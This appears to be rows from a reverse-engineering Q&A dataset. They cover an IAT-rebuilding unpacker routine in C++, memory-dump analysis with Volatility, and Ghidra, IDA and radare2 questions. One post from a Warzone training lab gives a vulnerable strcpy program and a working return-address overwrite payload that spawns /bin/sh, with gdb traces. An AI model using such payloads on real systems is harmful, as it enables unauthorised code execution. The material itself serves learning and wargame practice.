+        modulefullInfo.ImageBase = (DWORD)modinfo.lpBaseOfDll;
+        modulefullInfo.EntryPoint = (BYTE*)modinfo.EntryPoint;
+        strcpy(modulefullInfo.DllFileName, moduleFileName);
+        gs_ModuleList.push_back(modulefullInfo);
+    }
+
+    return TRUE;
+}
+
+/************************************************************************/
+/*
+Function : Retrieve API info by its addr and the module it belongs to
+Params   : pBuf points to the image mapped to our space*/
+/************************************************************************/
+void GetAPIInfo(DWORD ptrAPI, const IAT_Module_Info *iat_module_info, DWORD ptrAPIObfuscated = NULL)
+{
+    //try to load the dll into our space
+    HMODULE hDll = NULL;
+    if(iat_module_info)
+        hDll = LoadLibrary(iat_module_info->DllFileName);
+
+    if (NULL == hDll)
+        return;
+
+    //now ask for info from Export
+    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)hDll;
+    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((BYTE *)pDOSHDR + pDOSHDR->e_lfanew);
+    if (pNTHDR->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_EXPORT + 1)
+        return;
+
+    PIMAGE_EXPORT_DIRECTORY pExpDIR = (PIMAGE_EXPORT_DIRECTORY)
+        ((BYTE *)pDOSHDR
+            + pNTHDR->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+    DWORD dwFunctions = pExpDIR->NumberOfFunctions;
+    DWORD *ptrAddrFunc = (DWORD *)((BYTE *)pDOSHDR + pExpDIR->AddressOfFunctions);
+    DWORD i = 0;
+
+    //get index by address
+    for (i = 0; i < dwFunctions; i++)
+    {
+        if (ptrAPIObfuscated && ((DWORD)pDOSHDR + ptrAddrFunc[i]) == ptrAPIObfuscated)
+            break;
+        if (!ptrAPIObfuscated && ((DWORD)pDOSHDR + ptrAddrFunc[i]) == *(DWORD*)ptrAPI)
+            break;
+    }
+
+    //not match
+    if (i == dwFunctions)
+        return;
+
+    //get name and ordinal
+    DWORD dwNames = pExpDIR->NumberOfNames;
+    DWORD *pNames = (DWORD *)((BYTE *)pDOSHDR + pExpDIR->AddressOfNames);
+    WORD *pNameOrd = (WORD *)((BYTE *)pDOSHDR + pExpDIR->AddressOfNameOrdinals);
+    DWORD j = 0;
+    char *pszName = NULL;
+    SIZE_T nLen = 0;
+    for (j = 0; j < dwNames; j++)
+    {
+        if (pNameOrd[j] == i)
+        {
+            pszName = (char *)pDOSHDR + pNames[j];
+            nLen = strlen(pszName);
+            /*printf(""%X\t%04X\t%s\n"",
+                *(DWORD *)ptrAPI,
+                j,
+                pszName
+            );*/
+
+            //Save information
+            IAT_Import_Information iat_found = { 0 };
+            iat_found.IATAddress = ptrAPI;
+            strcpy(iat_found.IATFunctionName, pszName);
+            strcpy(iat_found.IATModuleName, iat_module_info->DllName);
+            listOfIATImports.push_back(iat_found);
+            if(ptrAPIObfuscated)
+                printf(""Added Obfuscated %X %X, %s -> %s\n"", ptrAPI, ptrAPIObfuscated, iat_module_info->DllName, pszName);
+            else
+                printf(""Added %X %X, %s -> %s\n"", ptrAPI, *(DWORD*)ptrAPI, iat_module_info->DllName, pszName);
+        }
+    }
+}
+
+/************************************************************************/
+/*
+Function : rebuild Import Info according to IAT
+Params   : ptrIAT point to the page where IAT in
+ppBuf [IN/OUT] is the memory space for the exe, may be updated
+dwImageSize is the exe's image size                                                                  */
+/************************************************************************/
+void FixImport(DWORD dwPID, DWORD ptrIAT, DWORD ptrIATEnd, DWORD dwImageSize)
+{
+    if (gs_ModuleList.size() == 0) {
+        printf(""No Modules loaded, can't fix anything\n"");
+        return;
+    }
+
+    //now verify every DWORD item is a valid FuncPtr with some dll.
+    //we need to snapshot the process.
+    std::list<IAT_Module_Info>::iterator it;
+    IAT_Module_Info iat_module_info;
+    printf(""ptrIAT = %X ptrIATEnd = %X\n"", ptrIAT, ptrIATEnd);
+
+    DWORD ptrIndex = ptrIAT;
+    DWORD dwModBase = NULL;  //????????????
+    DWORD dwModSize = NULL;
+    DWORD dwModHit = NULL;
+    while (TRUE)
+    {
+        //thz should always continue, even if BadPtr or invalid funcptr
+        if (ptrIndex <= ptrIATEnd
+            && IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD)))
+        {
+            ptrIndex += sizeof(DWORD);
+            continue;
+        }
+
+        //now we may end, be careful
+        if (ptrIndex > ptrIATEnd
+            && (NULL == *(DWORD*)ptrIndex)
+            && (NULL == *(DWORD*)(ptrIndex + sizeof(DWORD))))
+        {
+            break;
+        }
+
+        if (ptrIndex > ptrIATEnd
+            && IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD))
+            )
+        {
+            ptrIndex += sizeof(DWORD);
+            continue;
+        }
+
+        //////////////////////////////////////////////////////////////////////////
+        //whether in a module range
+        dwModHit = NULL;
+
+        //??????????
+        if (*(DWORD *)ptrIndex >= dwModBase
+            && *(DWORD *)ptrIndex < dwModBase + dwModSize)
+        {
+            dwModHit = dwModBase;
+        }
+
+        //have to loop every module
+        if (dwModHit == NULL)
+        {
+            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)
+            {
+                iat_module_info = *it;
+                dwModBase = (DWORD)iat_module_info.ImageBase;
+                dwModSize = (DWORD)iat_module_info.ImageSize;
+
+                if (*(DWORD *)ptrIndex >= dwModBase
+                    && *(DWORD *)ptrIndex < dwModBase + dwModSize)
+                {
+                    //printf(""ptrIndex %X %X, Mod: %X, Size: %X\n"", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);
+                    //printf(""Module: %s\n"", iat_module_info.DllName);
+                    break;
+                }
+                memset(&iat_module_info, 0, sizeof(IAT_Module_Info));
+            }//end for(
+        }//end if(NULL == 
+
+        if (iat_module_info.ImageBase == 0 && iat_module_info.ImageSize == 0) {
+            bool passDone = false;
+            DWORD deObfuscatedAddress = *(DWORD*)ptrIndex;
+            retryPass:
+            printf(""%X %X\n"", (BYTE)deObfuscatedAddress, *(BYTE*)deObfuscatedAddress);
+            if (*(BYTE*)deObfuscatedAddress == 0xE9) //JMP relative
+                deObfuscatedAddress = (*(DWORD*)(deObfuscatedAddress + 1)) + deObfuscatedAddress + 5;
+            else if (*(BYTE*)deObfuscatedAddress == 0x68) { //PUSH
+                printf(""PUSH = %X %X\n"", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1));
+                deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1);
+            }
+            else if ((BYTE)deObfuscatedAddress == 0xC0) { //shl (invalid opcode)
+                printf(""invalid = %X %X %X\n"", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);
+                deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));
+                printf(""invalid = %X %X %X\n"", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);
+                passDone = true;
+                goto retryPass;
+            } else if ((BYTE)deObfuscatedAddress == 0xC8) { //enter (invalid opcode)
+                printf(""invalid = %X %X %X\n"", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);
+                deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));
+                printf(""invalid = %X %X %X\n"", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);
+                passDone = true;
+                goto retryPass;
+            } else {
+                if (passDone) goto continueGo;
+                printf(""b unknown deob %X %X %X %X\n"", ptrIndex, *(BYTE*)ptrIndex, *(DWORD*)ptrIndex, deObfuscatedAddress);
+                deObfuscatedAddress += insn_len((void*)deObfuscatedAddress);
+                printf(""a unknown deob %X %X %X %X\n"", ptrIndex, *(BYTE*)ptrIndex, *(DWORD*)ptrIndex, deObfuscatedAddress);
+                passDone = true;
+                goto retryPass;
+            }
+            continueGo:
+            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)
+            {
+                iat_module_info = *it;
+                dwModBase = (DWORD)iat_module_info.ImageBase;
+                dwModSize = (DWORD)iat_module_info.ImageSize;
+
+                if (deObfuscatedAddress >= dwModBase
+                    && deObfuscatedAddress < dwModBase + dwModSize)
+                {
+                    //printf(""ptrIndex %X %X, Mod: %X, Size: %X\n"", deObfuscatedAddress, ptrIndex, dwModBase, dwModSize);
+                    //printf(""Module: %s\n"", iat_module_info.DllName);
+                    break;
+                }
+                memset(&iat_module_info, 0, sizeof(IAT_Module_Info));
+            }
+            GetAPIInfo(ptrIndex, &iat_module_info, deObfuscatedAddress);
+            ptrIndex += sizeof(DWORD);
+            memset(&iat_module_info, 0, sizeof(IAT_Module_Info));
+            continue;
+        }
+
+        //now *ptrIndex in dwModBase
+        //now retrieve API info (Hint, name) from the module's export
+        //printf(""ptrIndex %X %X, Mod: %X, Size: %X\n"", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);
+        GetAPIInfo(ptrIndex, &iat_module_info);
+        ptrIndex += sizeof(DWORD);
+    }
+}
+
+/************************************************************************/
+/*
+Function : Get AddressOfEntryPoint  (or Original Entry Point)
+Params   : lpAddr is the Base where the exe mapped into
+Return   : OEP (RVA)             */
+/************************************************************************/
+DWORD GetOEP(LPVOID lpAddr)
+{
+    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)lpAddr;
+    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((unsigned char *)pDOSHDR + pDOSHDR->e_lfanew);
+    return pNTHDR->OptionalHeader.AddressOfEntryPoint;
+}
+
+/************************************************************************/
+/*
+Function : Retrieve a process's Import Info only by IAT
+Param    : lpAddr is the address the exe mapped into (within our space)
+ptrIATEnd [out] used to receive the 1st IAT we found (FF25 XXXX, FF15YYYY)
+Return   : the beginning of the page where IAT in
+Search for FF25 XXXX,  or FF15 yyyy
+HelloWorld.exe
+004001E0 > .  EA07D577      DD USER32.MessageBoxA
+004001E4      00000000      DD 00000000
+004001E8 >/$  6A 00         PUSH 0                                   ; /Style = MB_OK|MB_APPLMODAL
+004001EA  |.  6A 00         PUSH 0                                   ; |Title = NULL
+004001EC  |.  6A 00         PUSH 0                                   ; |Text = NULL
+004001EE  |.  6A 00         PUSH 0                                   ; |hOwner = NULL
+004001F0  |.  E8 01000000   CALL <JMP.&USER32.MessageBoxA>           ; \MessageBoxA
+004001F5  \.  C3            RETN
+004001F6   $- FF25 E0014000 JMP DWORD PTR DS:[<&USER32.MessageBoxA>] ;  USER32.MessageBoxA
+Notepad.exe
+0100740B   .  FF15 38130001      CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>;  msvcrt.__set_app_type
+MSPaint.exe
+1000CA65    8B35 58D10110   MOV ESI,DWORD PTR DS:[<&KERNEL32.LCMapSt>; kernel32.LCMapStringW
+*/
+/************************************************************************/
+
+/*
+Need to check all of these
+– 8B0D MOV ECX,[ADDRESS]
+– 8B15 MOV EDX,[ADDRESS]
+– 8B1D MOV EBX,[ADDRESS]
+– 8B25 MOV ESP,[ADDRESS]
+– 8B2D MOV EBP,[ADDRESS]
+– 8B35 MOV ESI,[ADDRESS]
+– 8B3D MOV EDI,[ADDRESS]
+– A1 MOV EAX,[ADDRESS]
+- FF15 CALL [ADDRESS]
+– FF25 JMP [ADDRESS]
+– FF35 PUSH [ADDRESS]
+*/
+
+DWORD SearchIAT(LPVOID lpAddr, DWORD dwImageSize, DWORD pImageBase, DWORD dwMaxIATImageSize, DWORD *ptrIATEnd)
+{
+    DWORD pImageSectionStart = 0;
+    DWORD instruction_length;
+    DWORD *ptrFuncAddr = NULL;     //like xxx in JMP DWORD PTR DS:[XXXX]
+    DWORD ptrFuncAddrHighest = NULL;
+    DWORD dwOEP = NULL;
+    BYTE *pCode = NULL;
+    DWORD i = NULL;
+    WORD  wJMP = 0x25FF;
+    WORD  wCALL = 0x15FF;
+
+    dwOEP = GetOEP(lpAddr);
+    i = dwOEP;
+    pCode = (BYTE *)((BYTE *)lpAddr + dwOEP);
+
+    // get the location of the module's IMAGE_NT_HEADERS structure
+    IMAGE_NT_HEADERS *pNtHdr = ImageNtHeader(lpAddr);
+    // section table immediately follows the IMAGE_NT_HEADERS
+    IMAGE_SECTION_HEADER *pSectionHdr = (IMAGE_SECTION_HEADER *)(pNtHdr + 1);
+
+    bool got = false;
+    for (int scn = 0; scn < pNtHdr->FileHeader.NumberOfSections; ++scn)
+    {
+        char *name = (char*)pSectionHdr->Name;
+        DWORD SectionStart = (DWORD)lpAddr + pSectionHdr->VirtualAddress;
+        DWORD SectionEnd = (DWORD)lpAddr + pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize - 1;
+
+        if (got) {
+            pImageSectionStart = SectionStart;
+            break;
+        }
+
+        if (SectionStart == pImageBase + dwOEP && SectionEnd < dwImageSize) {
+            got = true;
+            //next one is imports.
+            ++pSectionHdr;
+            continue;
+        }
+        ++pSectionHdr;
+    }
+
+    if (!pImageSectionStart)
+        pImageSectionStart = dwImageSize;
+
+    printf(""Found OEP at %X, ImageSize = %X,%X\n"", dwOEP, dwImageSize, pImageSectionStart);
+
+    //search for FF 25 XXXX, FF 15 YYYY from OEP, had better use Disasm engine 
+    //but we just do it simply
+    while (i < pImageSectionStart)
+    {
+        if (memcmp(pCode, &wJMP, sizeof(WORD))
+            && memcmp(pCode, &wCALL, sizeof(WORD)))
+        {
+            //
+            instruction_length = insn_len(pCode);
+            pCode += instruction_length;
+            i += instruction_length;
+            continue;
+        }
+
+        //check illegal, *ptrFuncAddr > pImageBase  && *ptrFuncAddr <= pImageBase + dwImageSize
+        ptrFuncAddr = (DWORD *)(pCode + sizeof(WORD));
+        if (*ptrFuncAddr < (DWORD)pImageBase || *ptrFuncAddr >= (DWORD)pImageBase + dwImageSize)
+        {
+            instruction_length = insn_len(pCode);
+            pCode += instruction_length;
+            i += instruction_length;
+            continue;
+        }
+
+        //need to fix relocation
+        *(DWORD *)ptrFuncAddr = (long)lpAddr + *(long *)ptrFuncAddr - (long)pImageBase;
+        //now found one item that may belongs to IAT
+        ptrFuncAddr = (DWORD *)*ptrFuncAddr;
+
+        if ((DWORD)ptrFuncAddr > ptrFuncAddrHighest) {
+            ptrFuncAddrHighest = (DWORD)ptrFuncAddr;
+            printf(""highest = %X\n"", ptrFuncAddrHighest);
+        }
+
+        //recheck illegal, 
+        //for system dlls, what about user dlls? well, whatever, there must be system dlls
+        //what if we found IAT for system dlls, so we found the user dlls.
+        //What if the IAT tables are not continous????????
+        if (*ptrFuncAddr < dwMaxIATImageSize)
+        {
+            instruction_length = insn_len(pCode);
+            pCode += instruction_length;
+            i += instruction_length;
+            continue;
+        }
+        break;
+    }
+
+    //now it seems ptrFuncAddr points some item in IAT, 
+    //make ptrFuncAddr point to the beginning of the page
+    //we use 0xFFFEFFFF, because ptrFuncAddr is the memory addr we allocated, not by loadlibrary
+    *ptrIATEnd = (DWORD)ptrFuncAddrHighest;
+    ptrFuncAddr = (DWORD*)(((DWORD)ptrFuncAddr & 0xFFFFF000)
+        + ((DWORD)lpAddr & 0x0FFF)
+        );
+    return (DWORD)ptrFuncAddr;
+
+    //return NULL;
+}
+
+unsigned long Get_Import_Address(char* DLL, char* Library, char* Import, int ordinal = -1)
+{
+    HMODULE mhLoadedDLL = NULL;
+    do
+    {
+        if (!DLL)
+            mhLoadedDLL = GetModuleHandle(NULL);
+        else
+            mhLoadedDLL = GetModuleHandle(DLL);
+        Sleep(100);
+    } while (!mhLoadedDLL);
+
+    MODULEINFO modinfo;
+    GetModuleInformation(GetCurrentProcess(), mhLoadedDLL, &modinfo, sizeof(MODULEINFO));
+    DWORD ModuleSize = (unsigned long)modinfo.SizeOfImage;
+
+    PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)mhLoadedDLL;
+    PIMAGE_NT_HEADERS NtHeader;
+    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;
+    UINT Index = 0;
+
+
+    NtHeader = (PIMAGE_NT_HEADERS)(((PBYTE)DosHeader) + DosHeader->e_lfanew);
+    if (NtHeader->Signature != IMAGE_NT_SIGNATURE)
+        return 0;
+
+    ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(((PBYTE)DosHeader) + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
+
+    if (mhLoadedDLL) {
+        ULONG Sz;
+        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToDataEx(mhLoadedDLL, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &Sz, nullptr);
+    }
+
+    __try {
+        //
+        // Iterate over import descriptors/DLLs.
+        //
+        for (Index = 0; (ImportDescriptor[Index].Characteristics != 0 || ImportDescriptor[Index].Name); Index++) {
+            PSTR dllName = (PSTR)(((PBYTE)DosHeader) + ImportDescriptor[Index].Name);
+
+            if (_strcmpi(dllName, Library) == 0) {
+                // This the DLL we are after.
+                PIMAGE_THUNK_DATA Thunk;
+                PIMAGE_THUNK_DATA OrigThunk;
+
+                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);
+                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);
+
+                //Reset
+                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);
+                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);
+
+                for (; OrigThunk->u1.Function != NULL; OrigThunk++, Thunk++)
+                {
+                    if (ordinal != -1) {
+                        if ((OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) && IMAGE_ORDINAL(OrigThunk->u1.Ordinal) == ordinal) //send ordinal
+                            return (DWORD)Thunk; //Address of import returns.
+                    }
+
+                    if (OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // Ordinal import - we can handle named imports only, so skip it.
+                        continue;
+                    }
+
+                    PIMAGE_IMPORT_BY_NAME importt = (PIMAGE_IMPORT_BY_NAME)(((PBYTE)DosHeader) + OrigThunk->u1.AddressOfData);
+
+                    if (_strcmpi(Import, (char*)importt->Name) == 0) {
+                        return (DWORD)Thunk; //Address of import returns.
+                    }
+                }
+
+                unsigned long ptrFuncsIndex = (unsigned long)ImportDescriptor[Index].FirstThunk + (DWORD)mhLoadedDLL;
+                DWORD impAddress = (DWORD)GetProcAddress(GetModuleHandle(Library), Import);
+
+                //First get all modules loaded, so you can find the maximum ImageBase+ImageSize for IAT Max Size calculation.
+                if (gs_ModuleList.size() == 0) {
+                    BOOL bRet = SnapShotModules((DWORD)GetCurrentProcess());
+                    if (!bRet)
+                    {
+                        printf(""Failed to get Modules\n"");
+                        return 0;
+                    }
+                }
+
+                DWORD dwMaxIATImageSize = 0x70000000;
+                if (gs_ModuleList.size() > 0) {
+                    auto max_it = std::max_element(gs_ModuleList.begin(), gs_ModuleList.end(), [](const IAT_Module_Info& l, const IAT_Module_Info& h) {
+                        return l.ImageBase < h.ImageBase;
+                    });
+
+                    if (max_it->ImageBase > 0)
+                        dwMaxIATImageSize = (DWORD)max_it->ImageBase + max_it->ImageSize;
+
+                    printf(""Highest Imported DLL = %X %s\n"", max_it->ImageBase, max_it->DllName);
+                }
+                //now we do more, retrieve the Page where IAT in
+                DWORD ptrIATEnd = NULL;
+                DWORD ptrIAT = SearchIAT(mhLoadedDLL, ModuleSize, NtHeader->OptionalHeader.ImageBase, dwMaxIATImageSize, &ptrIATEnd);
+
+                printf(""Rebuilding IAT,Found IAT in page %X, IAT End %X\n"", ptrIAT, ptrIATEnd);
+                if(listOfIATImports.size() == 0)
+                    FixImport((DWORD)GetCurrentProcess(), ptrIAT, ptrIATEnd, ModuleSize);
+
+                if (listOfIATImports.size() > 0) {
+                    auto match = std::find_if(listOfIATImports.cbegin(), listOfIATImports.cend(), [Library, Import](const IAT_Import_Information& s) {
+                        return _strcmpi(s.IATModuleName, Library) == 0 && _strcmpi(s.IATFunctionName, Import) == 0;
+                    });
+
+                    if (match != listOfIATImports.cend()) {
+                        printf(""Found IAT = %X, %s %s\n"", match->IATAddress, match->IATModuleName, match->IATFunctionName);
+                    }
+
+                    std::list<IAT_Import_Information>::iterator i;
+                    for (i = listOfIATImports.begin();
+                        i != listOfIATImports.end();
+                        i++)
+                    {
+                        printf(""Module: %s Import: %s Address: %X\n"", i->IATModuleName, i->IATFunctionName, i->IATAddress);
+                    }
+
+                } else {
+                    printf(""Couldn't find module %s, import %s\n"", Library, Import);
+                }
+
+            }
+        }
+    }
+    __except (1) {
+        printf(""Exception hit parsing imports\n"");
+    }
+    return 0;
+}
+
+" +"['debugging', 'memory-dump', 'virtual-machines']"," Title: pick dump from a specific process from virtualbox coredumpBody: i'm interested in reverse engineering and assembly stuff i have started to do some research and im still a complete beginner +what i have learned so far that we could use virtualbox to dump the RAM for us so we can get a full memory dump and look at the actual assembly code of a packed program, and that what i did so far on a x86 Windows 7 Ultimate VM + +First Starting the vm with debugging mode enabled + + + +
virtualboxvm --startvm ""Windows 7"" --dbg
+
+ +Then opening VirtualBox Debugging Console Via Debug -> Command Line + +and using this command you can get a full RAM dump file: + +
VBoxDbg> .pgmphystofile 'dump.bin'
+
+ +So now i have the file, and im not sure about the correct ways to analyse it, it's a ""flat binary"" i guess + +
file dump.bin
+
+ +will output: + +
dump.bin :data
+
+ +i tried to use volatility to get some info: + +
volatility -f dump.bin imageinfo
+
+ +output: + +
Volatility Foundation Volatility Framework 2.6
+INFO    : volatility.debug    : Determining profile based on KDBG search...
+          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
+                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
+                     AS Layer2 : FileAddressSpace (/root/w7-nc-shell.bin)
+                      PAE type : PAE
+                           DTB : 0x185000L
+                          KDBG : 0x8292dc28L
+          Number of Processors : 1
+     Image Type (Service Pack) : 1
+                KPCR for CPU 0 : 0x8292ec00L
+             KUSER_SHARED_DATA : 0xffdf0000L
+           Image date and time : 2020-06-14 17:41:24 UTC+0000
+     Image local date and time : 2020-06-14 09:41:24 -0800
+
+ +A bunch of informations that im not sure what they really mean (if you can suggest me some useful resource in deep about those kind of informations in comment will be appreciated) + +So Anyway using volatitlity we can get a process list using this command: + +
volatility -f dump.bin --profile=Win7SP1x86_23418 pslist
+
+ +output: + +
Volatility Foundation Volatility Framework 2.6
+Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
+---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
+0x8415e558 System                    4      0     83      503 ------      0 2020-06-15 04:31:21 UTC+0000                                 
+0x84874560 smss.exe                248      4      2       29 ------      0 2020-06-15 04:31:21 UTC+0000                                 
+0x850579b0 csrss.exe               324    316     10      452      0      0 2020-06-15 04:31:25 UTC+0000                                 
+0x850ead40 csrss.exe               376    368     10      267      1      0 2020-06-15 04:31:26 UTC+0000                                 
+0x850e9030 wininit.exe             392    316      3       76      0      0 2020-06-15 04:31:26 UTC+0000                                 
+0x8511ad40 winlogon.exe            420    368      3      110      1      0 2020-06-15 04:31:26 UTC+0000                                 
+....
+
+ +is there a way, to get the dump of one specific processe and convert it back to PE? so i can easily debug the unpacked code? if not, is there a way to just dump the process and just dissassemble it? + +Thanks in advance. +" +"['ghidra', 'decompiler']"," Title: What does the code keyword in Ghidra mean?Body: I'm reversing a binary and I found this strange keyword I haven't seen before called 'code'. I looked up the C++ keywords and there doesn't seem to be one. Could anyone provide me with more information about this keyword? + +
      if (*(int *)(param_1 + 4) != 0) {
+        (*(code *)(&PTR_thunk_FUN_005a7840_008dd8b8)[(int)param_2[4]])(*(int *)(param_1 + 4));
+      }
+
+ +In Assembly. + +
00491b95 85  c0           TEST       EAX ,EAX
+00491b97 74  10           JZ         LAB_00491ba9
+00491b99 8b  4e  10       MOV        ECX ,dword ptr [ESI  + 0x10 ]
+00491b9c 8b  14  8d       MOV        EDX ,dword ptr [ECX *0x4  + -> thunk_FUN_005a7840 ] = 00401c30
+         b8  d8  8d 
+         00
+00491ba3 50              PUSH       EAX
+00491ba4 ff  d2           CALL       EDX
+
+" +"['disassembly', 'gdb', 'buffer-overflow', 'shellcode']"," Title: How can I get my shellcode to work outside of GDB?Body: I'm working inside a Warzone VM with no ALSR or NX bit. The program I'm trying to exploit is really simple: + + + +
#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+/*
+ * compiled with:
+ * gcc -O0 -fno-stack-protector lab2B.c -o lab2B
+ */
+
+char* exec_string = ""/bin/sh"";
+
+void shell(char* cmd)
+{
+    system(cmd);
+}
+
+void print_name(char* input)
+{
+    char buf[15];
+    strcpy(buf, input);
+    printf(""Hello %s\n"", buf);
+}
+
+int main(int argc, char** argv)
+{
+    if(argc != 2)
+    {
+        printf(""usage:\n%s string\n"", argv[0]);
+        return EXIT_FAILURE;
+    }
+
+    print_name(argv[1]);
+
+    return EXIT_SUCCESS;
+}
+
+ +I was able to get it working in GDB (I think): + +
lab2B@warzone:/levels/lab02$ gdb --args lab2B $(python -c ""print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\x28\xa0\x04\x08'"")
+Reading symbols from lab2B...(no debugging symbols found)...done.
+gdb-peda$ disas shell
+Dump of assembler code for function shell:
+   0x080486bd <+0>: push   ebp
+   0x080486be <+1>: mov    ebp,esp
+   0x080486c0 <+3>: sub    esp,0x18
+   0x080486c3 <+6>: mov    eax,DWORD PTR [ebp+0x8]
+   0x080486c6 <+9>: mov    DWORD PTR [esp],eax
+   0x080486c9 <+12>:    call   0x8048590 <system@plt>
+   0x080486ce <+17>:    leave
+   0x080486cf <+18>:    ret
+End of assembler dump.
+gdb-peda$ b *0x080486c9
+Breakpoint 1 at 0x80486c9
+gdb-peda$ r
+Starting program: /levels/lab02/lab2B AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB\(�
+Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB(�
+[----------------------------------registers-----------------------------------]
+EAX: 0x804a028 --> 0x80487d0 (""/bin/sh"")
+EBX: 0xb7fcd000 --> 0x1a9da8
+ECX: 0x0
+EDX: 0xb7fce898 --> 0x0
+ESI: 0x0
+EDI: 0x0
+EBP: 0xbffff66c (""AAAABBBB(\240\004\b"")
+ESP: 0xbffff654 --> 0x804a028 --> 0x80487d0 (""/bin/sh"")
+EIP: 0x80486c9 (<shell+12>: call   0x8048590 <system@plt>)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x80486c0 <shell+3>: sub    esp,0x18
+   0x80486c3 <shell+6>: mov    eax,DWORD PTR [ebp+0x8]
+   0x80486c6 <shell+9>: mov    DWORD PTR [esp],eax
+=> 0x80486c9 <shell+12>:    call   0x8048590 <system@plt>
+   0x80486ce <shell+17>:    leave
+   0x80486cf <shell+18>:    ret
+   0x80486d0 <print_name>:  push   ebp
+   0x80486d1 <print_name+1>:    mov    ebp,esp
+Guessed arguments:
+arg[0]: 0x804a028 --> 0x80487d0 (""/bin/sh"")
+[------------------------------------stack-------------------------------------]
+0000| 0xbffff654 --> 0x804a028 --> 0x80487d0 (""/bin/sh"")
+0004| 0xbffff658 ('A' <repeats 24 times>, ""BBBB(\240\004\b"")
+0008| 0xbffff65c ('A' <repeats 20 times>, ""BBBB(\240\004\b"")
+0012| 0xbffff660 ('A' <repeats 16 times>, ""BBBB(\240\004\b"")
+0016| 0xbffff664 ('A' <repeats 12 times>, ""BBBB(\240\004\b"")
+0020| 0xbffff668 (""AAAAAAAABBBB(\240\004\b"")
+0024| 0xbffff66c (""AAAABBBB(\240\004\b"")
+0028| 0xbffff670 (""BBBB(\240\004\b"")
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0x080486c9 in shell ()
+gdb-peda$ c
+Continuing.
+[New process 2068]
+Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
+Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
+process 2068 is executing new program: /bin/dash
+Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
+Warning:
+Cannot insert breakpoint 1.
+Cannot access memory at address 0x80486c9
+
+ +But it seems like the shell won't open outside of GDB: + +
lab2B@warzone:/levels/lab02$ ./lab2B $(python -c ""print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\x28\xa0\x04\x08'"")
+Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB(�
+sh: 1: : not found
+Segmentation fault (core dumped)
+
+ +I would think it's some kind of stack padding issue due to different environments(?) but it does seem to be invoking sh to some capacity. What kind of tools can I use to debug this sort of issue outside of GDB? If tooling won't help is there any kind of reading that will help me better understand what's going on? Thanks! +" +"['ida', 'x86', 'idapython', 'ida-plugin']"," Title: Getting function arguments in idaBody: I'm trying to extract the callee arguments in my intel x86 binary using IDA Pro 7.3. I tried the following line: + +
ida_typeinf.get_arg_addrs(call_address)  # call address points at `call some_func`
+
+ +For some reason, the call always returns None. Is there any other way to do this? +" +"['ida', 'disassembly', 'radare2']"," Title: Results of radare2 are not correctBody: I am using radare2 to analyze libpng_amd64.so.1.6.34, commands are as follows: + +
r2 = r2pipe.open(binary_file)
+r2.cmd('aaa')
+funcs = r2.cmdj('aflj')
+
